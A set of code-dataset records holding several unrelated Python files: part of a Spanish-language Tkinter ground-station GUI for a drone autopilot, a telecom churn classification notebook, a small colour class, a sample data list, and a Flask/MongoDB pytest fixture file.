self.Heading=1\n self.Altitud=0\n self.Roll=0\n self.pitch=0\n self.Vel=0\n self.Posicion=0\n self.Heading_save=0\n self.Altitud_save=0\n self.Roll_save=0\n self.pitch_save=0\n self.Vel_save=0\n self.Posicion_save=0\n self.Clean=1\n\n\n\n# ------------------------------------------------\n# -----------------VENTANA PIDs-------------------\n# ------------------------------------------------\n\nclass Pagina_PIDs():\n def __init__(self,raiz,Qgc,Frame_principal):\n self.Qgc=Qgc\n self.Principal=Frame_principal\n miframe = Toplevel(raiz)\n miframe.title(\"PIDs Editor\")\n # ------------------------------------------------\n # -----------------Cajas texto--------------------\n # ------------------------------------------------\n self.kp = Entry(miframe)\n self.kp.grid(row=1, column=7)\n self.ki = Entry(miframe)\n self.ki.grid(row=2, column=7)\n self.kd = Entry(miframe)\n self.kd.grid(row=3, column=7)\n # ------------------------------------------------\n # -----------------Labels-------------------------\n # ------------------------------------------------\n Label(miframe, text=\"ki:\").grid(row=2, column=6)\n Label(miframe, text=\"kp:\").grid(row=1, column=6)\n Label(miframe, text=\"kd:\").grid(row=3, column=6)\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.Export = Button(miframe, text=\" Export \",command=self.Exportar_PIDs)\n self.Export.grid(row=4, column=6)\n self.Save = Button(miframe, text=\" Save \",command=self.save)\n self.Save.grid(row=4, column=7)\n Button(miframe, text=\" + \",command=lambda:self.Sumar(0)).grid(row=1, column=8)\n Button(miframe, text=\" + \",command=lambda:self.Sumar(1)).grid(row=2, column=8)\n Button(miframe, text=\" + \",command=lambda:self.Sumar(2)).grid(row=3, column=8)\n Button(miframe, text=\" - \",command=lambda:self.Restar(0)).grid(row=1, column=5)\n Button(miframe, text=\" - \",command=lambda:self.Restar(1)).grid(row=2, column=5)\n Button(miframe, text=\" - \",command=lambda:self.Restar(2)).grid(row=3, column=5)\n # ------------------------------------------------\n # -----------------Combobox-----------------------\n # ------------------------------------------------\n OptionList=[\"Heading\",\"Rumbo\", \"Altitud\", \"Roll\", \"Pitch\", \"Velocidad\"]\n self.variable = StringVar(miframe)\n self.variable.set(OptionList[0])\n self.menu=OptionMenu(miframe, self.variable, *OptionList)\n self.menu.grid(row=0,column=0)\n self.set()\n self.variable.trace(\"w\", self.set)\n\n def Exportar_PIDs(self):\n Fichero = filedialog.askopenfilename(title=\"Abrir\", filetypes=((\"Fichero txt\", \"*.txt\"),))\n # try:\n Fichero = open(Fichero, \"w\")\n Fichero.write(str(self.Qgc.Control.PID_Heading.Kp)+\",\"+str(self.Qgc.Control.PID_Heading.Ki)+\",\"+str(self.Qgc.Control.PID_Heading.Kd)+\"\\n\")\n Fichero.write(str(self.Qgc.Control.PID_Altitud.Kp) + \",\" + str(self.Qgc.Control.PID_Altitud.Ki) + \",\" + str(self.Qgc.Control.PID_Altitud.Kd) + \"\\n\")\n Fichero.write(str(self.Qgc.Control.PID_Roll.Kp) + \",\" + str(self.Qgc.Control.PID_Roll.Ki) + \",\" + str(self.Qgc.Control.PID_Roll.Kd) + \"\\n\")\n Fichero.write(str(self.Qgc.Control.PID_Pitch.Kp) + \",\" + str(self.Qgc.Control.PID_Pitch.Ki) + \",\" + str(self.Qgc.Control.PID_Pitch.Kd) + \"\\n\")\n Fichero.write(str(self.Qgc.Control.PID_AirSpeed.Kp) + \",\" + str(self.Qgc.Control.PID_AirSpeed.Ki) + \",\" + str(self.Qgc.Control.PID_AirSpeed.Kd) + \"\\n\")\n print('Cargados')\n # except: # Si no hay mision se define una por defecto\n # print('No hay PIDs o no estan completos')\n\n def save(self):\n if self.variable.get()==\"Heading\":\n self.Principal.Qgc.Control.PID_Heading.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_Heading.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_Heading.Kd = float(self.kd.get())\n\n elif self.variable.get()==\"Rumbo\":\n self.Principal.Qgc.Control.PID_Heading_Rumbo.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_Heading_Rumbo.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_Heading_Rumbo.Kd = float(self.kd.get())\n\n elif self.variable.get()==\"Altitud\":\n self.Principal.Qgc.Control.PID_Altitud.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_Altitud.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_Altitud.Kd = float(self.kd.get())\n\n elif self.variable.get()==\"Roll\":\n self.Principal.Qgc.Control.PID_Roll.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_Roll.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_Roll.Kd = float(self.kd.get())\n\n elif self.variable.get()==\"Pitch\":\n self.Principal.Qgc.Control.PID_Pitch.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_Pitch.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_Pitch.Kd = float(self.kd.get())\n\n else:\n self.Principal.Qgc.Control.PID_AirSpeed.Kp = float(self.kp.get())\n self.Principal.Qgc.Control.PID_AirSpeed.Ki = float(self.ki.get())\n self.Principal.Qgc.Control.PID_AirSpeed.Kd = float(self.kd.get())\n\n def set(self,*args):\n self.kp.delete(0, 50)\n self.ki.delete(0, 50)\n self.kd.delete(0, 50)\n if self.variable.get()==\"Heading\":\n self.kp.insert(0,str(self.Principal.Qgc.Control.PID_Heading.Kp))\n self.ki.insert(0,str(self.Principal.Qgc.Control.PID_Heading.Ki))\n self.kd.insert(0,str(self.Principal.Qgc.Control.PID_Heading.Kd))\n\n elif self.variable.get()==\"Rumbo\":\n self.kp.insert(0,str(self.Principal.Qgc.Control.PID_Heading_Rumbo.Kp))\n self.ki.insert(0,str(self.Principal.Qgc.Control.PID_Heading_Rumbo.Ki))\n self.kd.insert(0,str(self.Principal.Qgc.Control.PID_Heading_Rumbo.Kd))\n\n elif self.variable.get()==\"Altitud\":\n self.kp.insert(0,str(self.Principal.Qgc.Control.PID_Altitud.Kp))\n self.ki.insert(0,str(self.Principal.Qgc.Control.PID_Altitud.Ki))\n self.kd.insert(0,str(self.Principal.Qgc.Control.PID_Altitud.Kd))\n\n elif self.variable.get()==\"Roll\":\n self.kp.insert(0,str(self.Principal.Qgc.Control.PID_Roll.Kp))\n self.ki.insert(0,str(self.Principal.Qgc.Control.PID_Roll.Ki))\n self.kd.insert(0,str(self.Principal.Qgc.Control.PID_Roll.Kd))\n\n elif self.variable.get()==\"Pitch\":\n self.kp.insert (0,str(self.Principal.Qgc.Control.PID_Pitch.Kp))\n self.ki.insert (0,str(self.Principal.Qgc.Control.PID_Pitch.Ki))\n self.kd.insert (0,str(self.Principal.Qgc.Control.PID_Pitch.Kd))\n\n else:\n self.kp.insert (0,str(self.Principal.Qgc.Control.PID_AirSpeed.Kp))\n self.ki.insert (0,str(self.Principal.Qgc.Control.PID_AirSpeed.Ki))\n self.kd.insert (0,str(self.Principal.Qgc.Control.PID_AirSpeed.Kd))\n\n def Sumar(self,opcion):\n paso=0.5\n if opcion==0:\n Valor_kp=float(self.kp.get())+paso\n self.kp.delete(0, 50)\n self.kp.insert (0,str(Valor_kp))\n elif opcion==1:\n Valor_ki = float(self.ki.get()) + paso\n self.ki.delete(0, 50)\n self.ki.insert (0,str(Valor_ki))\n else:\n Valor_kd = float(self.kd.get()) + paso\n self.kd.delete(0, 50)\n self.kd.insert (0,str(Valor_kd))\n\n def Restar(self,opcion):\n paso=0.5\n if opcion==0:\n Valor_kp=float(self.kp.get())-paso\n self.kp.delete(0, 50)\n self.kp.insert (0,str(Valor_kp))\n elif opcion==1:\n Valor_ki = float(self.ki.get()) - paso\n self.ki.delete(0, 50)\n self.ki.insert (0,str(Valor_ki))\n else:\n Valor_kd = float(self.kd.get()) - paso\n self.kd.delete(0, 50)\n self.kd.insert (0,str(Valor_kd))\n\n\n\nclass Pagina_Mission():\n def __init__(self,raiz,Qgc,Frame_principal):\n self.Qgc=Qgc\n self.Principal=Frame_principal\n miframe = Toplevel(raiz)\n miframe.title(\"Mission Creator\")\n\n # ------------------------------------------------\n # -----------------Cajas texto--------------------\n # ------------------------------------------------\n self.Metros = Entry(miframe)\n self.Metros.grid(row=1, column=7)\n self.Latitud = Entry(miframe)\n self.Latitud.grid(row=2, column=7)\n self.Longitud = Entry(miframe)\n self.Longitud.grid(row=3, column=7)\n self.Velocidad = Entry(miframe)\n self.Velocidad.grid(row=4, column=7)\n self.FM = Entry(miframe)\n self.FM.grid(row=5, column=7)\n # ------------------------------------------------\n # -----------------Labels-------------------------\n # ------------------------------------------------\n Label(miframe, text=\"Metros:\").grid(row=2, column=6)\n Label(miframe, text=\"Latitud:\").grid(row=1, column=6)\n Label(miframe, text=\"Longitud:\").grid(row=3, column=6)\n Label(miframe, text=\"Velocidad:\").grid(row=4, column=6)\n Label(miframe, text=\"FM:\").grid(row=5, column=6)\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.Save = Button(miframe, text=\" Save \",command=self.save,bg='white')\n self.Save.grid(row=6, column=6)\n self.Add = Button(miframe, text=\" Add \",command=self.add,bg='white')\n self.Add.grid(row=6, column=7)\n self.Delete = Button(miframe, text=\" Delete \",command=self.delete,bg='white')\n self.Delete.grid(row=6, column=8)\n # ------------------------------------------------\n # -----------------Texto--------------------------\n # ------------------------------------------------\n self.Texto=Text(miframe)\n self.Texto.config(width=20, height=10)\n self.Texto.grid(row=7,column=7)\n def save(self):\n self.Principal.Qgc=self.Qgc\n self.Principal.Mission.configure(state=NORMAL)\n\n def add(self):\n if self.Metros.get()!=\"\" and self.Latitud.get()!=\"\" and self.Longitud.get()!=\"\"and self.Velocidad.get()!=\"\"and self.FM.get()!=\"\":\n self.Qgc.Mission.append(LC.Waypoint(self.Latitud.get(),self.Longitud.get(),self.Metros.get(),self.Velocidad.get(),self.FM.get()))\n self.Texto.insert(\"insert\", str(self.Latitud.get())+str(',')+str(self.Longitud.get())+str(',')+str(self.Metros.get())+str(',')+str(self.Velocidad.get())+str(',')+str(self.FM.get())+'\\n')\n def delete(self):\n self.Qgc.Mission=[]\n self.Texto.delete(1.0,END)\n\n\nclass Pagina_Verbose():\n def __init__(self,raiz,Frame_principal):\n self.Principal=Frame_principal\n miframe = Toplevel(raiz)\n miframe.title(\"Verbose options\")\n\n\n # ------------------------------------------------\n # -----------------Variables-------------------------\n # ------------------------------------------------\n self.Heading=IntVar()\n self.Altitud=IntVar()\n self.Roll=IntVar()\n self.pitch=IntVar()\n self.Vel=IntVar()\n self.Posicion = IntVar()\n self.Heading_save=IntVar()\n self.Altitud_save=IntVar()\n self.Roll_save=IntVar()\n self.pitch_save=IntVar()\n self.Vel_save=IntVar()\n self.Posicion_save = IntVar()\n self.Clean=IntVar()\n\n # ------------------------------------------------\n # -----------------ChecButtons--------------------\n # ------------------------------------------------\n self.Check_Heading=Checkbutton(miframe, text=\"Heading\", variable=self.Heading, onvalue=1,offvalue=0)\n self.Check_Heading.pack()\n self.Check_Altitud=Checkbutton(miframe, text=\"Altitud\", variable=self.Altitud, onvalue=1,offvalue=0)\n self.Check_Altitud.pack()\n self.Check_Roll=Checkbutton(miframe, text=\"Roll\", variable=self.Roll, onvalue=1,offvalue=0)\n self.Check_Roll.pack()\n self.Check_Pitch=Checkbutton(miframe, text=\"Pitch\", variable=self.pitch, onvalue=1,offvalue=0)\n self.Check_Pitch.pack()\n self.Check_Vel=Checkbutton(miframe, text=\"Vel\", variable=self.Vel, onvalue=1,offvalue=0)\n self.Check_Vel.pack()\n self.Check_Posicion=Checkbutton(miframe, text=\"Posicion\", variable=self.Posicion, onvalue=1,offvalue=0)\n self.Check_Posicion.pack()\n self.Check_Heading_save=Checkbutton(miframe, text=\"Heading save\", variable=self.Heading_save, onvalue=1,offvalue=0)\n self.Check_Heading_save.pack()\n self.Check_Altitud_save=Checkbutton(miframe, text=\"Altitud save\", variable=self.Altitud_save, onvalue=1,offvalue=0)\n self.Check_Altitud_save.pack()\n self.Check_Roll_save=Checkbutton(miframe, text=\"Roll save\", variable=self.Roll_save, onvalue=1,offvalue=0)\n self.Check_Roll_save.pack()\n self.Check_Pitch_save=Checkbutton(miframe, text=\"Pitch save\", variable=self.pitch_save, onvalue=1,offvalue=0)\n self.Check_Pitch_save.pack()\n self.Check_Vel_save=Checkbutton(miframe, text=\"Vel save\", variable=self.Vel_save, onvalue=1,offvalue=0)\n self.Check_Vel_save.pack()\n self.Check_Posicion_save=Checkbutton(miframe, text=\"Posicion save\", variable=self.Posicion_save, onvalue=1,offvalue=0)\n self.Check_Posicion_save.pack()\n self.Check_Clean=Checkbutton(miframe, text=\"Clean\", variable=self.Clean, onvalue=1,offvalue=0)\n self.Check_Clean.pack()\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.Save = Button(miframe, text=\" Save \",command=self.save,bg='white')\n self.Save.pack()\n self.set()\n\n def save(self):\n self.Principal.Verbose_options.Heading = self.Heading.get()\n self.Principal.Verbose_options.Altitud = self.Altitud.get()\n self.Principal.Verbose_options.Roll = self.Roll.get()\n self.Principal.Verbose_options.pitch = self.pitch.get()\n self.Principal.Verbose_options.Vel = self.Vel.get()\n self.Principal.Verbose_options.Posicion = self.Posicion.get()\n self.Principal.Verbose_options.Heading_save = self.Heading_save.get()\n self.Principal.Verbose_options.Altitud_save = self.Altitud_save.get()\n self.Principal.Verbose_options.Roll_save = self.Roll_save.get()\n self.Principal.Verbose_options.pitch_save = self.pitch_save.get()\n self.Principal.Verbose_options.Vel_save = self.Vel_save.get()\n self.Principal.Verbose_options.Posicion_save = self.Posicion_save.get()\n self.Principal.Verbose_options.Clean = self.Clean.get()\n\n def set(self):\n self.Heading.set(self.Principal.Verbose_options.Heading)\n self.Altitud.set(self.Principal.Verbose_options.Altitud)\n self.Roll.set(self.Principal.Verbose_options.Roll)\n self.pitch.set(self.Principal.Verbose_options.pitch)\n self.Vel.set(self.Principal.Verbose_options.Vel)\n self.Posicion.set(self.Principal.Verbose_options.Posicion)\n self.Heading_save.set(self.Principal.Verbose_options.Heading_save)\n self.Altitud_save.set(self.Principal.Verbose_options.Altitud_save)\n self.Roll_save.set(self.Principal.Verbose_options.Roll_save)\n self.pitch_save.set(self.Principal.Verbose_options.pitch_save)\n self.Vel_save.set(self.Principal.Verbose_options.Vel_save)\n self.Posicion_save.set(self.Principal.Verbose_options.Posicion_save)\n self.Clean.set(self.Principal.Verbose_options.Clean)\n\nclass Pagina_Plots():\n def __init__(self,raiz,fig):\n miframe = Toplevel(raiz)\n miframe.title(\"Plots\")\n if fig is not None:\n canvas = FigureCanvasTkAgg(fig, master=miframe)\n plot_widget = canvas.get_tk_widget()\n plot_widget.pack(side=TOP, fill=BOTH, expand=1)\n else:\n miframe.destroy()\n\n\nclass Pagina_Comm():\n def __init__(self,raiz,main):\n miframe = Toplevel(raiz)\n miframe.title(\"Config\")\n self.main=main\n # ------------------------------------------------\n # -----------------Variables-------------------------\n # ------------------------------------------------\n self.Port_send=StringVar()\n self.Port_recv=StringVar()\n self.IP=StringVar()\n # ------------------------------------------------\n # -----------------Labels-------------------------\n # ------------------------------------------------\n Label(miframe,text=\"Port_send: \").grid(row=1, column=1)\n Label(miframe,text=\"Port_recv: \").grid(row=2, column=1)\n Label(miframe,text=\"IP: \").grid(row=3, column=1)\n # ------------------------------------------------\n # -----------------Entry-------------------------\n # ------------------------------------------------\n self.Port_send_entry = Entry(miframe,textvariable=self.Port_send)\n self.Port_send_entry.grid(row=1, column=2)\n self.Port_recv_entry = Entry(miframe,textvariable=self.Port_recv)\n self.Port_recv_entry.grid(row=2, column=2)\n self.IP_entry = Entry(miframe,textvariable=self.IP)\n self.IP_entry.grid(row=3, column=2)\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.Save = Button(miframe, text=\" Save \", command=self.save, bg='white')\n self.Save.grid(row=4, column=1)\n self.set()\n\n def save(self):\n self.main.Qgc.PortAdress_send = (self.IP.get(),int(self.Port_send.get()))\n self.main.Qgc.PortAdress_recv = (self.IP.get(),int(self.Port_recv.get()))\n print(self.main.Qgc.PortAdress_recv)\n self.main.Qgc.sock.bind(self.main.Qgc.PortAdress_recv)\n\n def set(self):\n recv = str(self.main.Qgc.PortAdress_recv).split(\",\")\n send = str(self.main.Qgc.PortAdress_send).split(\",\")\n Port_send=send[1].rstrip(')')\n Port_recv=recv[1].rstrip(')')\n Ip=recv[0].lstrip('(')\n self.Port_send.set(Port_send)\n self.Port_recv.set(Port_recv)\n self.IP.set(Ip)\n\nclass Pagina_IA():\n def __init__(self,raiz,main):\n miframe = Toplevel(raiz)\n miframe.title(\"Config\")\n self.main=main\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.Load_IA = Button(miframe, text=\" Load IA \", command=self.Load, bg='white')\n self.Load_IA.grid(row=1, column=1)\n self.Load_IA_default = Button(miframe, text=\" Load IA Default \", command=self.Load_default, bg='white')\n self.Load_IA_default.grid(row=2, column=1)\n\n\n def Load(self):\n Modelo = filedialog.askopenfilename(title=\"Abrir modelo\")\n try:\n cnn = LC.load_model(Modelo)\n self.main.Qgc.Modelo=cnn\n self.main.AutoLand.configure(state=NORMAL)\n self.main.Vision = LV.Vision(self.main.Qgc.Cola, self.main.Qgc.Modelo, self.main.Texto)\n print('Cargado')\n except:\n print('Fallo al cargar el modelo')\n self.main.AutoLand.configure(state=DISABLED)\n\n def Load_default(self):\n Modelo = r'C:\\Users\\Juatarto\\Desktop\\TFM\\Arquitecturas\\Test\\Epoca_10\\Modelo_Capas_6_RGB_Epocas_10_Neuronas_256_Filtros_32_relu.h5'\n try:\n cnn = load_model(Modelo)\n self.main.Qgc.Modelo=cnn\n # self.main.Qgc.Modelo._make_predict_function() #IMPORTANTISIMO esto genera el grafo en la GPU para evitar que la primera vez que se llama a predict() sea muy lento\n self.main.Vision = LV.Vision(self.main.Qgc.Cola, self.main.Qgc.Modelo, self.main.Texto)\n self.main.AutoLand.configure(state=NORMAL)\n if self.main.Qgc.Mission is not None:\n self.main.Mission.configure(state=NORMAL)\n self.main.Texto.insert(\"insert\", \"Modelo IA cargado correctamente\\n\")\n print('Cargado')\n except:\n print('Fallo al cargar el modelo')\n self.main.AutoLand.configure(state=DISABLED)\n\n\nclass Hoja_ruta():\n def __init__(self,raiz,Mission):\n self.miframe = Toplevel(raiz)\n self.Mision=Mission\n self.Labels = []\n self.label=Label(self.miframe, text=\"Plan de vuelo\").grid(row=0, column=1)\n self.Init()\n\n def Init(self):\n x=1\n for waypoint in self.Mision:\n self.Printear(waypoint,x)\n x+=1\n\n def Printear(self,waypoint,numero):\n if waypoint.Flight_mode==0:\n Text=\"Despegue\"\n elif waypoint.Flight_mode==1:\n Text=\"Navegacion\"\n elif waypoint.Flight_mode==2:\n Text=\"Aterrizaje autonomo\"\n elif waypoint.Flight_mode==3:\n Text=\"Aterrizaje\"\n self.Labels.append(Label(self.miframe, text=Text,borderwidth=2, relief=\"groove\"))\n self.Labels[numero-1].grid(row=numero, column=1)\n\n def Actualizar_waypoint(self,numero,Fin=False):\n if Fin==True:\n Label = self.Labels[numero - 1]\n Label.config(bg=\"green\")\n else:\n Label=self.Labels[numero]\n Label.config(bg=\"orange\")\n if numero>0:\n Label = self.Labels[numero-1]\n Label.config(bg=\"green\")\n def salir(self):\n self.miframe.destroy()\n","sub_path":"Autopiloto_Def/Libreria_GUI.py","file_name":"Libreria_GUI.py","file_ext":"py","file_size_in_byte":40841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"235269205","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # PREDICTING TELECOM CHURN\n\n# In[42]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\n# In[43]:\n\n\n# Importing the dataset\ndataset = pd.read_csv('/Users/vandy/Desktop/WA_Fn-UseC_-Telco-Customer-Churn.csv')\n#X = dataset.iloc[:, [2,3]].values\n#y = dataset.iloc[:, 20].values\ndataset.head()\n\n\n# In[44]:\n\n\ndataset['newMonthlyCharges']=[1 if x>43 else 0 for x in dataset['MonthlyCharges']]\n\n\n# In[45]:\n\n\ndataset\n\n\n# In[46]:\n\n\n# Import label encoder \nfrom sklearn import preprocessing \nlabel_encoder = preprocessing.LabelEncoder()\ndataset['MultipleLines']= label_encoder.fit_transform(dataset['MultipleLines']) \ndataset['MultipleLines'].unique() \n\ndataset['InternetService']= label_encoder.fit_transform(dataset['InternetService']) \ndataset['InternetService'].unique() \n\ndataset['gender']= label_encoder.fit_transform(dataset['gender']) \ndataset['gender'].unique() \n\ndataset['Partner']= label_encoder.fit_transform(dataset['Partner']) \ndataset['Partner'].unique() \n\ndataset['Dependents']= label_encoder.fit_transform(dataset['Dependents']) \ndataset['Dependents'].unique() \n\ndataset['StreamingMovies']= label_encoder.fit_transform(dataset['StreamingMovies']) \ndataset['StreamingMovies'].unique() \n\ndataset['Churn']= label_encoder.fit_transform(dataset['Churn']) \ndataset['Churn'].unique() \n\n\n# In[47]:\n\n\nX = dataset.iloc[:, [5,21]].values\ny = dataset.iloc[:, 20].values\ndataset.head()\n\n\n# In[48]:\n\n\n# Splitting the dataset into the Training set and Test set\n# from sklearn.cross_selection import train_test_split\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)\n\n\n# In[49]:\n\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n\n# In[50]:\n\n\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import GridSearchCV\nKNN=KNeighborsClassifier()\n\n\n# # KNN\n\n# In[51]:\n\n\nparam_grid=[{'n_neighbors':[3,5,10,15]}]\ngrid_search_KNN=GridSearchCV(KNN,param_grid,cv=5)\ngrid_search_KNN.fit(X_train, y_train)\n\n\n# In[52]:\n\n\ngrid_search_KNN.best_params_\n\n\n# In[53]:\n\n\ncvres_KNN=grid_search_KNN.cv_results_\nfor mean_score,params in zip(cvres_KNN[\"mean_test_score\"],cvres_KNN[\"params\"]):\n print(mean_score,params)\n\n\n# In[54]:\n\n\n# Prediction with KNN classifier\n\nfrom sklearn.neighbors import KNeighborsClassifier\nclassifier1 = KNeighborsClassifier(n_neighbors = 15, metric='minkowski', p=2)\nclassifier1.fit(X_train, y_train)\n# Predicting the Test set results\ny_pred = classifier1.predict(X_test)\ndf=pd.DataFrame(y_pred)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"confusion matrix:\")\nprint(cm)\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nprint('Accuracy Score: ',accuracy_score(y_test,y_pred))\nprint('--------------')\nprint(classification_report(y_test,y_pred))\n\n\n# In[55]:\n\n\ny_pred\n\n\n# # Random Forest\n\n# In[56]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import roc_auc_score\n\nRF=RandomForestClassifier(random_state=123)\n\n\n# In[57]:\n\n\nfrom sklearn.model_selection import GridSearchCV\nparam_grid=[{'n_estimators':[4,5,10,20,50]}]\ngrid_search_RF=GridSearchCV(RF,param_grid,cv=5)\ngrid_search_RF.fit(X_train, y_train)\n\n\n# In[58]:\n\n\ngrid_search_RF.best_params_\n\n\n# In[59]:\n\n\ncvres_RF=grid_search_RF.cv_results_\nfor mean_score,params in zip(cvres_RF[\"mean_test_score\"],cvres_RF[\"params\"]):\n print(mean_score,params)\n\n\n# In[60]:\n\n\n# Prediction with Random Forest classifier\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier2 = RandomForestClassifier(n_estimators = 4, criterion='entropy', random_state = 0)\nclassifier2.fit(X_train, y_train) \n# Predicting the Test set results\ny_pred = classifier2.predict(X_test)\ndf=pd.DataFrame(y_pred)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"confusion matrix:\")\nprint(cm)\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nprint('Accuracy Score: ',accuracy_score(y_test,y_pred))\nprint('--------------')\nprint(classification_report(y_test,y_pred))\n\n\n# # SVM\n\n# In[61]:\n\n\n# Prediction with SVM classifier\n# Fitting SVM to the Training set\nfrom sklearn.svm import SVC\nclassifier3 = SVC(kernel = 'linear', random_state = 0)\nclassifier3.fit(X_train, y_train)\n# Predicting the Test set results\ny_pred = classifier3.predict(X_test)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"confusion matrix:\")\nprint(cm)\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nprint('Accuracy Score: ',accuracy_score(y_test,y_pred))\nprint('--------------')\nprint(classification_report(y_test,y_pred))\n\n\n# # Decision Tree\n\n# In[62]:\n\n\n# Prediction with Decision Tree classifier\nfrom sklearn.tree import DecisionTreeClassifier\nclassifier4 = DecisionTreeClassifier(criterion='entropy', random_state = 0)\nclassifier4.fit(X_train, y_train) \n# Predicting the Test set results\ny_pred = classifier4.predict(X_test)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"confusion matrix:\")\nprint(cm)\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nprint('Accuracy Score: ',accuracy_score(y_test,y_pred))\nprint('--------------')\nprint(classification_report(y_test,y_pred))\n\n\n# # Naive Bayes\n\n# In[63]:\n\n\n# Prediction with naive_bayes classifier\nfrom sklearn.naive_bayes import GaussianNB\nclassifier5 = GaussianNB()\nclassifier5.fit(X_train, y_train) \n# Predicting the Test set results\ny_pred = classifier5.predict(X_test)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"confusion matrix:\")\nprint(cm)\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nprint('Accuracy Score: ',accuracy_score(y_test,y_pred))\nprint('--------------')\nprint(classification_report(y_test,y_pred))\n\n\n# # Plotting a bar Graph between the accuracy of all 3 algorithms :\n\n# In[64]:\n\n\nacc=[]\n\n\n# In[65]:\n\n\nacc.append(classifier1.score(X_test, y_test))\nacc.append(classifier2.score(X_test, y_test))\nacc.append(classifier3.score(X_test, y_test))\nacc.append(classifier4.score(X_test, y_test))\nacc.append(classifier5.score(X_test, y_test))\n\n\n# In[66]:\n\n\nacc_name=['KNN','Random Forest','SVM','Decision Tree','Naive Bayes']\n\n\n# In[67]:\n\n\ncolours=['b','r','g','c','m']\nplt.xlabel('machine learning algorithms',fontsize=15)\nplt.ylabel('Accuracy',fontsize=15)\nplt.title('Accuracy Comparisions',fontsize=15)\nplt.bar(acc_name,acc,color=colours,width=0.5)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Predicting Telecom Churn/Telecom_Analysis(Using 2 Features).py","file_name":"Telecom_Analysis(Using 2 Features).py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"459150064","text":"#-*- coding: UTF-8 -*-\n\nimport numpy as np\n\nfrom IMaterial import IMaterial\n\nclass Color(IMaterial):\n\n\tdef __init__(self, r, g, b, a):\n\t\tself.__color = np.array((r,g,b,a), dtype=np.float32)\n\n\tdef get(self):\n\t\treturn self.__color\n\nColor.RED \t= Color(1,0,0,1)\nColor.GREEN = Color(0,1,0,1)\nColor.BLUE \t= Color(0,0,1,1)\nColor.WHITE\t= Color(1,1,1,1)\nColor.ROYALBLUE\t= Color(65/255.0,105/255.0,225/255.0,1)\nColor.BLACK = Color(0,0,0,1)","sub_path":"src/model/Color.py","file_name":"Color.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"465525827","text":"# For files submitted to Marx, data containing test cases should go\n# in a single list contained in a separate file. The list can contain\n# whatever you want it to contain, but everything has to be within\n# that one list. Marx will split that list when it distributes the\n# code to the Worker Machines for execution.\n\ndata = [\n (1, 2, 'alpha', 3.4, True),\n (5, 6, 'beta', 7.8, False),\n (9, 10, 'gamma', 11.12, True),\n (13, 14, 'delta', 15.16, False)\n]\n","sub_path":"example_1/data_file.py","file_name":"data_file.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"448404337","text":"from datetime import datetime\nimport random\n\nimport pymongo\nimport pytest\n\nfrom flaskr import create_app\nfrom flaskr.models import Song, db\n\nPOOL_ARTIST = [\n 'Bob', 'Pool', 'Alice', 'Joy'\n]\nTITLES = [\n 'Storytime',\n 'Adrenalize',\n 'Afterlife',\n 'Goodbye Moonmen'\n]\n\n\n@pytest.fixture\ndef random_song_generator():\n def generator():\n song = Song(\n artist=random.choice(POOL_ARTIST),\n title=random.choice(POOL_ARTIST),\n difficulty=random.uniform(0, 15),\n level=random.randint(0, 15),\n released=datetime.now().replace(microsecond=0),\n )\n song.save()\n return song\n\n return generator\n\n\n@pytest.fixture\ndef client():\n app = create_app(test_config={\n 'MONGOALCHEMY_DATABASE': 'test_db',\n 'TESTING': True,\n })\n client = app.test_client()\n\n db.session.db.Song.remove()\n db.session.db.Song.create_index(\n [('artist', pymongo.TEXT), ('title', pymongo.TEXT)]\n )\n yield 